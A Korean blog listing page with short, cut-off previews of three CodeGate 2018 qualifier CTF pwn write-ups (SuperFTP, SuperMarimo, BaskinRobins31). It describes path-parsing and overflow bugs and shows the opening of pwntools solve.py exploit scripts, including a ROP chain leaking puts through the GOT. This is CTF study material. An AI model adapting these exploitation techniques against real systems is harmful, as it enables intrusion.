본문 바로가기

CodeGate 2018 quals SuperFTP 대회 내도록 이 문제를 잡았는데 결국 대회가 끝나고 나서 풀었다..ㅠㅠㅠㅠ 문자열을 파싱할때에 /../문자열 뒤에 / 가 없으면 /를 찾을때 까지 위로 올라간다. 이걸 가지고 ret를 덮을 수 있는데 0x2f를 메모리에 집어넣을 백터를 못찾았었다..... 근데 로그인 할때 main함수에서 카운터를 올리는걸 보고 0x2f번 로그인 해서 0x2f을 집어 넣은 다음 ret를 덮어서 쉘을 획득했다. 립씨릭은 아무값이나 때려넣다가 되길래 그걸 가지고 했다. solve.py: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172.. 더보기
CodeGate 2018 quals SuperMarimo Edit에서 profile을 수정 할때에 마리모 생성 시간보다 시간이 지나있으면 오버플로우가 일어난다. 마리모를 두개 생성한다음 첫번째 마리모에서 오버플로를 일으켜서 두번째 마리모 구조체의 포인터를 덮어서 공격했다. solve.py: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *import ctypes LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") elf=ELF("./marimo")libc=ELF("./libc.so.6") p=process("./marimo")#p=remote(".. 더보기
CodeGate 2018 quals BaskinRobins31 ROP로 쉘 겟! solve.py: 123456789101112131415161718192021222324252627from pwn import * context.arch="amd64"elf=ELF("./BaskinRobins31")libc= ELF("./libc.so.6.txt") p=process("./BaskinRobins31")#p=remote("ch41l3ng3s.codegate.kr", 3131) pr=0x400bc2ppr=0x400bc0pdr = next(elf.search(asm("pop rdi; ret"))) print p.recv() p.sendline("A"*0xb8+flat(pdr, elf.got['puts'], elf.plt['puts'], 0x400a4b )) print p.re.. 더보기